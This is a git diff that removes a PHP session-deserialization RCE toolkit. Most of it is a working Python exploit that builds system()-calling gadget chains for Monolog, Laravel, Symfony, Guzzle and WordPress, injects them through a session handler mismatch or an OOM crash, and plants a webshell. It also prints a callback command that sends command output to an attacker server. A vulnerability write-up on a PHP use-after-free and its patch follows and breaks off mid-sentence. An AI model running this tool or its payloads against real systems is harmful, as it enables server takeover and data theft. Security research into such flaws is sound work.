(b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;' - + php_str(cmd) + b"}i:2;a:0:{}i:3;N;}") - - sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [ - (priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr), - (priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")), - ]) - - return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [ - (priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable), - ]) - - -def chain_symfony_fw(write_path, shell_code): - """Symfony file write via system() (2.6.0-4.4.18). - - Same WindowsPipes gadget, calls system() with a write command. - """ - escaped_code = shell_code.replace("'", "'\\''") - escaped_path = write_path.replace("'", "'\\''") - cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" - return chain_symfony_cmd(cmd) - - -def chain_wordpress_cmd(cmd): - """WordPress RCE via WP_HTML_Token (6.4.0-6.4.1). - - WP_HTML_Token.__destruct - -> ($this->on_destroy)($this->bookmark_name) - -> system($cmd) - - Uses only PUBLIC properties, so this chain works in progress mode - (no NULL bytes from protected/private property names). - - Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2). - """ - return php_obj("WP_HTML_Token", [ - (php_str("bookmark_name"), php_str(cmd)), - (php_str("on_destroy"), php_str("system")), - ]) - - -def chain_wordpress_fw(write_path, shell_code): - """WordPress file write via WP_HTML_Token (6.4.0-6.4.1). - - Same gadget, calls system() with a write command. - Public properties only: works in progress mode. - """ - escaped_code = shell_code.replace("'", "'\\''") - escaped_path = write_path.replace("'", "'\\''") - cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" - return chain_wordpress_cmd(cmd) - - -CHAINS = { - "monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"}, - "monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"}, - "monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"}, - "laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"}, - "laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"}, - "laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"}, - "laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"}, - "guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"}, - "symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"}, - "symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"}, - "wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"}, - "wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"}, -} - - -# ═══════════════════════════════════════════════════════════════════════ -# HTTP helpers (raw sockets for binary payloads) -# ═══════════════════════════════════════════════════════════════════════ - -def tcp_connect(host, port, tls, timeout=30): - sock = socket.create_connection((host, port), timeout=timeout) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - - -def recv_all(sock, timeout=10): - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except socket.timeout: - pass - return resp - - -def status_code(resp): - try: - return int(resp.split(b" ")[1]) - except (IndexError, ValueError): - return 0 - - -def body_of(resp): - if b"\r\n\r\n" not in resp: - return resp - hdr, raw = resp.split(b"\r\n\r\n", 1) - if b"transfer-encoding: chunked" in hdr.lower(): - out, data = b"", raw - while data: - nl = data.find(b"\r\n") - if nl < 0: - break - try: - clen = int(data[:nl].split(b";")[0].strip(), 16) - except ValueError: - break - if clen == 0: - break - out += data[nl+2:nl+2+clen] - data = data[nl+2+clen+2:] - return out - return raw - - -def extract_cookies(resp): - cookies = {} - for line in resp.split(b"\r\n"): - if line.lower().startswith(b"set-cookie:"): - cookie_str = line.split(b":", 1)[1].strip() - kv = cookie_str.split(b";")[0] - if b"=" in kv: - k, v = kv.split(b"=", 1) - cookies[k.strip().decode()] = v.strip().decode() - return cookies - - -def http_get(host, port, tls, path, cookies=None, timeout=10): - sock = tcp_connect(host, port, tls, timeout) - req = ( - b"GET " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - ) - if cookies: - req += b"Cookie: " + cookies.encode() + b"\r\n" - req += b"Connection: close\r\n\r\n" - sock.sendall(req) - resp = recv_all(sock, timeout) - sock.close() - return resp - - -def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10): - sock = tcp_connect(host, port, tls, timeout) - req = ( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: application/x-www-form-urlencoded\r\n" - b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n" - ) - if cookies: - req += b"Cookie: " + cookies.encode() + b"\r\n" - req += b"Connection: close\r\n\r\n" - sock.sendall(req + body_bytes) - resp = recv_all(sock, timeout) - sock.close() - return resp - - -# ═══════════════════════════════════════════════════════════════════════ -# Progress mode: multipart with upload progress + OOM -# ═══════════════════════════════════════════════════════════════════════ - -def escape_filename(raw): - """Escape bytes for Content-Disposition filename= quoted string. - NULL bytes are NOT supported (PHP truncates at \\x00).""" - out = b"" - for byte in raw: - if byte == ord('"'): - out += b'\\"' - elif byte == ord('\\'): - out += b'\\\\' - elif byte == 0: - raise ValueError("NULL bytes cannot appear in multipart filenames") - else: - out += bytes([byte]) - return out - - -def mp_field(bnd, name, value): - return (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="' + name + b'"\r\n' - b"\r\n" + value + b"\r\n") - - -def mp_file_with_name(bnd, fieldname, filename_raw, content): - escaped = escape_filename(filename_raw) - return (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="' + fieldname - + b'"; filename="' + escaped + b'"\r\n' - b"Content-Type: application/octet-stream\r\n" - b"\r\n" + content + b"\r\n") - - -def mp_end(bnd): - return b"--" + bnd + b"--\r\n" - - -def progress_inject_oom(host, port, tls, path, sid, chain_bytes, - fields=30000, fsize=512): - """Inject chain via upload progress filename + OOM crash. - - The filename contains |. PHP stores it in the upload - progress data in the session file. OOM crash skips cleanup, - leaving the poisoned session on disk. - - NOTE: chain_bytes must not contain NULL bytes (multipart parser - limitation). Use only chains with public properties. - """ - bnd = b"----DESER" + os.urandom(8).hex().encode() - filename_payload = b"x|" + chain_bytes - - body = b"" - body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser") - body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096) - for i in range(fields): - body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize) - body += mp_end(bnd) - - sock = tcp_connect(host, port, tls, timeout=120) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Content-Length: " + str(len(body)).encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - try: - sock.sendall(body) - except (BrokenPipeError, ConnectionResetError, OSError): - pass - resp = recv_all(sock, timeout=10) - sock.close() - return status_code(resp) - - -# ═══════════════════════════════════════════════════════════════════════ -# Exploit logic -# ═══════════════════════════════════════════════════════════════════════ - -def run_inject(args, chain_bytes): - """Inject mode: POST chain into session, trigger via handler mismatch.""" - inj = urlparse(args.inject_url) - trg = urlparse(args.trigger_url) - inj_tls = inj.scheme == "https" - trg_tls = trg.scheme == "https" - inj_host = inj.hostname or "127.0.0.1" - trg_host = trg.hostname or "127.0.0.1" - inj_port = inj.port or (443 if inj_tls else 80) - trg_port = trg.port or (443 if trg_tls else 80) - inj_path = inj.path or "/" - trg_path = trg.path or "/" - if inj.query: - inj_path += "?" + inj.query - if trg.query: - trg_path += "?" + trg.query - - # The payload: | followed by serialized chain - # When php_serialize stores this in the session file as a - # length-prefixed string, the | is preserved. When the php - # handler reads the file, it finds | and deserializes what follows. - payload = b"|" + chain_bytes - - print("[*] Phase 1: obtaining session ID from inject endpoint...") - probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5) - cookies = extract_cookies(probe) - sid = cookies.get("PHPSESSID", os.urandom(16).hex()) - print(f" PHPSESSID: {sid}") - - print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...") - print(f" Payload size: {len(payload)} bytes") - - # URL-encode the binary payload for form POST - encoded_param = args.inject_param.encode() + b"=" - encoded_value = urllib.parse.quote(payload, safe=b"").encode() - post_body = encoded_param + encoded_value - - resp = http_post_form( - inj_host, inj_port, inj_tls, inj_path, - post_body, - cookies=f"PHPSESSID={sid}", - timeout=10, - ) - sc = status_code(resp) - print(f" Response: HTTP {sc}") - if sc not in (200, 301, 302, 303, 204): - print(f" [!] Unexpected status. Session may not have been written.") - - print("[*] Phase 3: triggering deserialization via handler mismatch...") - print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)") - - resp2 = http_get( - trg_host, trg_port, trg_tls, trg_path, - cookies=f"PHPSESSID={sid}", - timeout=10, - ) - sc2 = status_code(resp2) - body2 = body_of(resp2).decode(errors="replace") - print(f" Response: HTTP {sc2}") - - return sid, sc2, body2 - - -def run_progress(args, chain_bytes): - """Progress mode: inject via upload progress filename + OOM crash.""" - wr = urlparse(args.write_url) - trg = urlparse(args.trigger_url) - wr_tls = wr.scheme == "https" - trg_tls = trg.scheme == "https" - wr_host = wr.hostname or "127.0.0.1" - trg_host = trg.hostname or "127.0.0.1" - wr_port = wr.port or (443 if wr_tls else 80) - trg_port = trg.port or (443 if trg_tls else 80) - wr_path = wr.path or "/" - trg_path = trg.path or "/" - - if b"\x00" in chain_bytes: - print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs") - print(" via multipart filenames (PHP truncates at \\x00).") - print(" Use --mode inject, or provide a NULL-free chain.") - sys.exit(1) - - sid = os.urandom(16).hex() - print(f"[*] Session ID: {sid}") - - print("[*] Phase 1: injecting chain via upload progress + OOM crash...") - print(f" Fields: {args.fields} x {args.field_size}B") - sc = progress_inject_oom( - wr_host, wr_port, wr_tls, wr_path, sid, - chain_bytes, args.fields, args.field_size, - ) - if sc in (502, 0): - print(f" [+] Worker crashed (HTTP {sc or 'reset'})") - elif sc == 500: - print(f" [+] HTTP 500 (OOM during script)") - else: - print(f" [!] HTTP {sc} — may not have OOMed") - - print(" Waiting for new worker...") - time.sleep(2) - for _ in range(8): - try: - r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3) - if status_code(r) in (200, 301, 302, 403, 404): - print(" New worker ready") - break - except Exception: - pass - time.sleep(1) - - print("[*] Phase 2: triggering deserialization via handler mismatch...") - resp = http_get( - trg_host, trg_port, trg_tls, trg_path, - cookies=f"PHPSESSID={sid}", - timeout=10, - ) - sc2 = status_code(resp) - body2 = body_of(resp).decode(errors="replace") - print(f" Response: HTTP {sc2}") - - return sid, sc2, body2 - - -def run(args): - # Build or load chain - if args.chain_file: - with open(args.chain_file, "rb") as f: - chain_bytes = f.read().rstrip(b"\n\r") - if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"): - try: - chain_bytes = base64.b64decode(chain_bytes) - except Exception: - pass - print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)") - elif args.chain in CHAINS: - info = CHAINS[args.chain] - if info["type"] == "fw": - if not args.write_path: - print(f"[!] --write-path required for {args.chain} chain") - print(" e.g., --write-path /var/www/html/shell.php") - sys.exit(1) - shell = args.shell_code or "" - chain_bytes = info["fn"](args.write_path, shell) - print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}") - else: - if not args.cmd: - print(f"[!] --cmd required for {args.chain} chain") - sys.exit(1) - chain_bytes = info["fn"](args.cmd) - print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')") - else: - print("[!] Specify --chain or --chain-file") - print(" Available chains: " + ", ".join(CHAINS.keys())) - sys.exit(1) - - print(f"[*] Chain size: {len(chain_bytes)} bytes") - has_nulls = b"\x00" in chain_bytes - if has_nulls: - print("[*] Chain contains NULL bytes (normal for protected/private props)") - print() - - print("=" * 65) - print(" PHP Session Deserialization RCE — Handler Mismatch") - print(" No LFI. No FPM dependency.") - print("=" * 65) - print(f" Mode : {args.mode}") - if args.mode == "inject": - print(f" Inject URL : {args.inject_url}") - print(f" Inject param: {args.inject_param}") - else: - print(f" Write URL : {args.write_url}") - print(f" Trigger URL: {args.trigger_url}") - if args.chain_file: - print(f" Chain : {args.chain_file}") - else: - print(f" Chain : {args.chain}") - print() - - if args.mode == "inject": - sid, sc, body = run_inject(args, chain_bytes) - else: - sid, sc, body = run_progress(args, chain_bytes) - - # Post-exploit for fw chains: verify the webshell was written - chain_info = CHAINS.get(args.chain, {}) - if chain_info.get("type") == "fw" and args.write_path: - print() - print("[*] Phase 4: verifying webshell...") - - # Guess the webshell URL from write_path - # /var/www/html/shell.php -> /shell.php - shell_rel = args.write_path - for prefix in ["/var/www/html", "/var/www", "/srv/http", - "/usr/share/nginx/html"]: - if shell_rel.startswith(prefix): - shell_rel = shell_rel[len(prefix):] - break - - trg = urlparse(args.trigger_url) - trg_tls = trg.scheme == "https" - trg_host = trg.hostname or "127.0.0.1" - trg_port = trg.port or (443 if trg_tls else 80) - - verify_url = shell_rel + "?c=id" - try: - resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5) - vbody = body_of(resp).decode(errors="replace") - if "uid=" in vbody: - print(f" [+] Webshell works!") - print() - print("[+] ═══════════════ RCE OUTPUT ═══════════════") - print(vbody.strip()) - print("[+] ══════════════════════════════════════════") - print() - print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD") - return - else: - print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})") - except Exception as e: - print(f" [!] Could not verify: {e}") - - if chain_info.get("type") == "cmd": - # Command output may be in the trigger response itself, - # or it may have run as a side effect (no visible output). - print() - if body.strip(): - print("[+] Trigger response body:") - print(body[:500]) - print() - print("[*] Command was executed during deserialization (__destruct).") - print(" If output is not visible, use a callback payload:") - print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'") - - print() - print("[*] Deserialization triggered. If no RCE:") - print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)") - print(" - Verify the POP chain matches the target's libraries") - print(" - Try phpggc to generate a chain for the exact versions:") - print(" phpggc -l | grep RCE") - print(f" - Session ID was: {sid}") - - -def main(): - ap = argparse.ArgumentParser( - description="PHP Session Deserialization RCE via Handler Mismatch", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -No LFI. No FPM. RCE via session.serialize_handler mismatch. - -Examples: - # Inject mode with Monolog file write (drops webshell): - %(prog)s --inject-url http://target/save.php \\ - --inject-param data \\ - --trigger-url http://target/view.php \\ - --chain monolog-fw --write-path /var/www/html/s.php - - # Inject mode with direct command execution: - %(prog)s --inject-url http://target/save.php \\ - --inject-param data \\ - --trigger-url http://target/view.php \\ - --chain monolog-cmd --cmd 'id' - - # Custom phpggc chain (raw or base64): - phpggc Monolog/RCE1 system id > chain.bin - %(prog)s --inject-url http://target/save.php \\ - --inject-param data \\ - --trigger-url http://target/view.php \\ - --chain-file chain.bin - - # Progress mode (no app session injection needed): - %(prog)s --mode progress \\ - --write-url http://target/serialize_ep.php \\ - --trigger-url http://target/php_ep.php \\ - --chain-file chain_nofull.bin -""") - ap.add_argument("--mode", choices=["inject", "progress"], default="inject", - help="Injection mode (default: inject)") - ap.add_argument("--inject-url", - help="URL of endpoint that stores POST data in session " - "(must use php_serialize handler)") - ap.add_argument("--inject-param", default="data", - help="POST parameter stored in $_SESSION (default: data)") - ap.add_argument("--write-url", - help="URL of php_serialize endpoint (progress mode)") - ap.add_argument("--trigger-url", required=True, - help="URL of endpoint using default php handler " - "(triggers deserialization)") - ap.add_argument("--chain", choices=list(CHAINS.keys()), - help="Built-in POP chain") - ap.add_argument("--chain-file", - help="Custom serialized chain file (e.g., phpggc output)") - ap.add_argument("--write-path", - help="Target file path for monolog-fw chain") - ap.add_argument("--shell-code", - help="PHP code for webshell (monolog-fw, default: system)") - ap.add_argument("--cmd", help="Command for monolog-cmd chain") - ap.add_argument("--fields", type=int, default=30000, - help="OOM pressure fields for progress mode (default: 30000)") - ap.add_argument("--field-size", type=int, default=512, - help="Bytes per OOM field (default: 512)") - args = ap.parse_args() - - if args.mode == "inject" and not args.inject_url: - print("[!] --inject-url required for inject mode") - sys.exit(1) - if args.mode == "progress" and not args.write_url: - print("[!] --write-url required for progress mode") - sys.exit(1) - if not args.chain and not args.chain_file: - print("[!] Specify --chain or --chain-file") - sys.exit(1) - - run(args) - - -if __name__ == "__main__": - main() diff --git a/session-deser/test_chain.php b/session-deser/test_chain.php deleted file mode 100644 index 87ccc14..0000000 --- a/session-deser/test_chain.php +++ /dev/null @@ -1,22 +0,0 @@ -\n"); - exit(1); -} - -fwrite(STDERR, "Payload length: " . strlen($payload) . "\n"); -fwrite(STDERR, "Unserializing...\n"); - -$obj = unserialize($payload); - -fwrite(STDERR, "Object type: " . get_class($obj) . "\n"); -fwrite(STDERR, "Letting __destruct fire (end of script)...\n"); - -// __destruct fires here when $obj goes out of scope diff --git a/session-deser/test_serialize.php b/session-deser/test_serialize.php deleted file mode 100644 index ab979c0..0000000 --- a/session-deser/test_serialize.php +++ /dev/null @@ -1,25 +0,0 @@ - $v) { - $_SESSION[$k] = $v; - } - echo json_encode(['status' => 'ok', 'session_id' => session_id()]); -} else { - echo json_encode([ - 'status' => 'ready', - 'session_id' => session_id(), - 'handler' => 'php_serialize', - ]); -} diff --git a/session-deser/test_trigger.php b/session-deser/test_trigger.php deleted file mode 100644 index ad24f5d..0000000 --- a/session-deser/test_trigger.php +++ /dev/null @@ -1,18 +0,0 @@ - 0 AND `BG(serialize_lock) == 0`, it returns - `BG(unserialize).data` (the stale, freed pointer) and increments level - -### Why Apache prefork survives (and FPM does not) - -**Apache prefork**: The bailout is caught by Apache's request handler. -The child process continues its event loop. BG globals persist because -they are module-level, not request-scoped. - -**PHP-FPM**: The bailout propagates to `fpm_main.c`'s outer -`zend_try/zend_catch`. The catch block sets `exit_status = 70` and the -worker exits. A new clean worker is spawned. - -## OOM trigger mechanism - -A session file with 33000 entries (~682KB) forces -`nTableSize = 65536` during decode. The `arData` allocation: -65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`, -this exceeds the limit during `HashTable` resize in -`zend_hash_real_init_mixed_ex()`. - -The OOM triggers during `sapi_activate()` -> RFC1867 callback -> -`php_session_initialize()` -> `php_session_decode()` -> unserialize -> -`HashTable` resize. - -After OOM: -- `php_session_cancel_decode()` calls `php_session_destroy()` -- Session file is DELETED (on unpatched PHP) -- `BG(unserialize).level = 1`, `.data` = freed pointer to 8216-byte struct -- Worker survives, serves new connections - -## The UAF mechanism - -### php_unserialize_data struct layout (8216 bytes, 3 pages) - -``` -Offset Field Size Notes ------- ----- ---- ----- -0 last (var_entries*) 8 Points to inline entries -8 first_dtor 8 NULL initially -16 last_dtor 8 NULL initially -24 allowed_classes 8 NULL = allow all -32 ref_props 8 NULL -40 cur_depth 4 0 -44 (padding) 4 -48 max_depth 8 From ini setting -56 entries.used_slots 8 0 initially -64 entries.next 8 NULL -72 entries.data[1018] 8144 zval* array -8216 (end) -``` - -### Why var_push crashes - -After OOM, the heap is destroyed and rebuilt for the next request. The -stale pointer references freed pages in the ZendMM chunk. Filler form -fields in the crash trigger create 3-page `zend_string` allocations -that consume pages sequentially. When one lands on the stale struct's -pages (~page 288 of 512), the `zend_string` GC header overlaps the -struct's pointer fields: - -``` -Struct offset 0 (last) <- gc_refcount(4) + gc_type_info(4) -Struct offset 8 (first_dtor) <- hash(8) -Struct offset 16 (last_dtor) <- len(8) -Struct offset 24+ <- string value (attacker-controlled) -``` - -`var_push` (var_unserializer.re line 118) reads `(*var_hashx)->last`: -```c -var_entries *var_hash = (*var_hashx)->last; // = GC header ~= 0x0000030600000001 -var_hash->data[var_hash->used_slots++] = rval; // dereferences invalid address -// SIGSEGV -``` - -### Why var_access does NOT crash (type confusion primitive) - -`var_access` (var_unserializer.re line 213) is used by `R:N;` and -`r:N;` backreferences. Unlike `var_push`, it reads the INLINE entries -at struct offset 56, NOT the `last` pointer at offset 0: - -```c -var_entries *var_hash = &(*var_hashx)->entries; // offset 56, not 'last' -if (id >= var_hash->used_slots) return NULL; -return var_hash->data[id]; // offset 72+ -``` - -Without the filler spray, the stale struct retains its request 1 layout -at the critical fields: - -``` -last = &entries (self-referencing, valid) -entries.used_slots = 1 (partially overwritten by heap metadata) -entries.data[0] = 0x780c8a923010 (stale zval* from request 1) -``` - -When the session data contains `x|R:1;`, the unserializer calls -`var_access(0, stale_struct)`, which reads `entries.data[0]` (the stale -pointer) and returns it. PHP then does `ZVAL_COPY(rval, stale_zval)`. - -The stale zval's type matches whatever the first OOM session entry was: - -| OOM session first value | Stale zval type | Result | -|---|---|---| -| String (e.g. `s:8000:"BBB..."`) | IS_STRING | Original string content intact | -| Integer (e.g. `i:42;`) | IS_LONG | Original integer value | -| Boolean (e.g. `b:1;`) | IS_TRUE | Original boolean value | -| Object (e.g. `O:8:"stdClass":0:{}`) | IS_OBJECT | CRASH (freed zend_object dereference) | -| Array (e.g. `a:0:{}`) | IS_ARRAY | Self-referencing `$_SESSION` (infinite recursion) | - -The cached ZendMM chunk retains page data across requests (only the -chunk header metadata is zeroed, not the data pages). This means the -stale zval at `entries.data[0]` contains the **attacker's own data** -from request 1, not leaked heap memory or code pointers. - -This is a confirmed type confusion, but it does NOT provide an info -leak. The value appears in `$_SESSION['x']` and is accessible to the -main PHP script, but only contains data the attacker already knows. - -### Why filler spray and type confusion are mutually exclusive - -The session decode calls `var_tmp_var(&var_hash)` (var_unserializer.re -line 187) BEFORE `php_var_unserialize()` for each session key-value -pair. `var_tmp_var` reads `(*var_hashx)->last_dtor` at struct offset 16. - -Without filler spray: `last_dtor` retains its request 1 value (NULL for -simple string values). `var_tmp_var` allocates a new `var_dtor_entries` -struct and writes the pointer to offset 16. No crash. - -With filler spray: offset 16 is overwritten by the `zend_string` `len` -field (e.g., 8200 = 0x2008). `var_tmp_var` dereferences 0x2008 as a -`var_dtor_entries*`, which is an unmapped address. SIGSEGV before -`var_access` runs. - -This means there is no exploitation window where controlled data -coexists with a readable stale reference. Filler spray corrupts the -struct before `var_access` can read the controlled pages. - -## Confirmed primitives - -Tested on PHP 8.3.35 (source build), Apache 2.4.58 (prefork, -MaxRequestWorkers=1), Ubuntu 24.04, x86_64: - -| Primitive | Status | Notes | -|---|---|---| -| OOM during RFC1867 session decode | Confirmed | 33000-entry session, 4MB limit | -| Apache prefork worker survival | Confirmed | Same PID after OOM | -| Stale BG(unserialize) state | Confirmed | level=1, data=freed ptr (GDB) | -| Page reclamation via filler spray | Confirmed | 27+ fields crashes worker | -| UAF crash (SIGSEGV in var_push) | Confirmed | Reproducible, first attempt | -| Type confusion via var_access | Confirmed | R:1 resolves stale zval, type matches OOM session | -| Stale value = attacker's own data | Confirmed | Cached chunk retains pages, no info leak | -| Filler/type-confusion mutual exclusion | Confirmed | var_tmp_var crashes at offset 16 before var_access | -| Session key injection via `\|` | Blocked | php serializer skips keys with `\|` | -| Info leak via type confusion | Not possible | Reads own data, not heap metadata | -| Full RCE | Not achieved | ASLR + mutual exclusion + no info leak | - -## Exploitation constraints - -### Why full RCE is not achieved - -Five independent constraints block RCE from this primitive. - -#### 1. GC header overlap (var_push path) - -The struct's three pointer fields at offsets 0-23 overlap with the -`zend_string` header, which is set by the allocator: - -- `last` (offset 0) = `gc_refcount` + `gc_type_info`: the allocator sets - refcount=1 and type_info=IS_STRING with GC flags. This produces a low, - invalid address like `0x0000030600000001`. The attacker cannot control - these bytes. - -- `first_dtor` (offset 8) = `hash`: lazily computed, initially 0 (NULL). - This is safe: `var_destroy` checks `first_dtor != NULL` before - iterating the dtor chain. - -- `last_dtor` (offset 16) = `len`: the string length (e.g., 8200 = - `0x2008`). This is also a low, unmapped address. - -The attacker controls bytes from offset 24 onward (`allowed_classes`, -`ref_props`, `max_depth`, `entries.used_slots`, `entries.next`, -`entries.data[]`), but `var_push` crashes reading `last` (offset 0) -before any of these fields are reached. - -#### 2. No info leak (var_access path) - -The type confusion via `var_access` avoids the GC header crash, but -`entries.data[0]` points to a Bucket in request 1's session HashTable -arData. The ZendMM cached chunk retains data pages across requests -(only the chunk header is zeroed during `zend_mm_shutdown` with -`memset(p, 0, sizeof(zend_mm_chunk))`). The stale zval at -`entries.data[0]` contains the **attacker's own session data**, not -leaked heap metadata or code pointers. - -Testing confirms the stale value's type matches the OOM session's first -entry (string -> IS_STRING with original content, integer -> IS_LONG -with original value, etc.). This is not an info leak. - -To exploit the type confusion for RCE, the attacker would need to: -1. Leak a heap pointer to determine the ZendMM chunk base, then -2. Spray controlled data to overlapping pages, then -3. Use the type confusion to read crafted objects - -Step 1 is impossible through this vulnerability: no path reads heap -metadata or code pointers through the type confusion. - -#### 2b. Mutual exclusion of filler spray and type confusion - -The filler spray (needed to place controlled data on stale pages) and -the type confusion (needed to read stale data) cannot coexist: - -- `var_tmp_var()` reads `(*var_hashx)->last_dtor` at struct offset 16 - BEFORE `php_var_unserialize()` calls `var_access` at offset 56. -- Without spray: offset 16 = NULL (from request 1), `var_tmp_var` - allocates normally, type confusion works but reads own data. -- With spray: offset 16 = zend_string `len` (e.g., 0x2008), `var_tmp_var` - dereferences 0x2008 as a pointer -> SIGSEGV before var_access runs. - -There is no exploitation window where controlled content on the stale -pages is readable via the type confusion. - -#### 3. Built-in classes lack usable exploitation path - -The RFC1867 session decode runs during `sapi_activate()`, before module -RINIT and main script execution. Only PHP's built-in/internal classes -are registered. An audit of all statically compiled extensions found: - -**Classes with exploitable `free_obj` handlers:** -- `SplFileObject/SplFileInfo/DirectoryIterator`: `free_obj` calls - `intern->oth_handler->dtor(intern)`, a function pointer call through - object data. But `oth_handler` is only set by Phar. -- `PDO`: `free_obj` calls `dbh->methods->closer(dbh)`, another function - pointer through object data. - -**Why these are unusable:** Constructing a fake `zend_object` that -redirects `handlers` to a real handlers table requires knowing -`libphp.so`'s base address. The heap chunk address is stable within a -process, but code segment addresses are independent. No code address -leak was found through this vulnerability. - -#### 4. Session key validation - -The `PHP_SESSION_UPLOAD_PROGRESS` form field value becomes part of the -session key (prefixed with `upload_progress_`). A `|` character in this -value could inject serialized data into the session file, since the -`php` session serializer uses `|` as the key-value delimiter. - -However, `PS_SERIALIZER_ENCODE_FUNC(php)` explicitly checks for `|` in -session keys with `memchr()` and skips keys containing it. The injected -key is stored in `$_SESSION` but never written to the session file, -preventing deserialization injection on subsequent requests. - -### What would be needed for full RCE - -1. **An info leak from a separate vulnerability**: The type confusion - reads the attacker's own data. A separate vulnerability providing - either a heap pointer or a libphp.so code pointer would enable: - - Heap pointer: spray fake objects at known addresses - - Code pointer: construct fake `zend_object.handlers` pointing to - real handler tables for SplFileObject/PDO/Closure - -2. **Bypass of filler/type-confusion mutual exclusion**: A way to place - controlled data on stale pages without corrupting struct offset 16 - (`last_dtor`). No such technique was found. The struct occupies 3 - pages (8216 bytes), and large allocations cover full pages including - offset 16. - -3. **Loaded classes with POP chains**: If a framework's classes were - loaded before session decode, deserialized objects could trigger - exploitable magic methods. Standard PHP and WordPress do not load - user classes before `sapi_activate()`. - -4. **Alternative allocation type**: An 8216-byte allocation where the - attacker controls offset 0 and 16 (blocking the GC header overlap - and `last_dtor` corruption). No such type was identified in the - multipart parsing code path. - -## The patch (PHP 8.3.36, 8.4.27, 8.5.12) - -Three independent defense layers, any one sufficient: - -### 1. php_basic_early_rinit() - -New function called from `php_request_startup()` AFTER `zend_activate()` -but BEFORE `sapi_activate()`: - -```c -PHPAPI void php_basic_early_rinit(void) { - BG(serialize_lock) = 0; - memset(&BG(serialize), 0, sizeof(BG(serialize))); - memset(&BG(unserialize), 0, sizeof(BG(unserialize))); -} -``` - -Eliminates the stale state window entirely. Even if OOM occurs, the -BG state is zeroed before RFC1867 processing on the next request. - -### 2. Delayed OOM - -`zend_bailout()` on OOM is completely removed. The allocator now either: -- Returns NULL (fallible mode) for checked allocations -- Succeeds beyond the soft limit (non-fallible mode) and queues a - delayed error via `EG(delayed_oom)` + VM interrupt - -No longjmp means all cleanup code runs normally, including -`php_var_unserialize_destroy()`. - -A hard limit (`memory_hard_limit_percent`, default 200%) calls -`_exit(137)` as a safety net. - -### 3. Session handler hardening - -- `PS(in_rfc1867_update)` flag forces `incomplete_classes_only` mode - during RFC1867 session decode (no `__wakeup`/`__unserialize`) -- `php_rinit_session_globals()` called at `MULTIPART_EVENT_START` -- `$_SESSION` cleanup at `MULTIPART_EVENT_END` -- `PG(modules_activated)` check prevents RFC1867 callback during - `request_parse_body()` -- ~30 `ZEND_HAS_OOM()` checks throughout `rfc1867.c` for graceful - handling of allocation failures - -## Why this does not apply to latest PHP - -The latest stable PHP versions (8.3.36+, 8.4.27+, 8.5.12+) include all -three defense layers. The patch is comprehensive: - -- Layer 1 alone blocks the attack (no stale state) -- Layer 2 alone blocks the attack (no longjmp, cleanup runs) -- Layer 3 alone limits exploitability (no 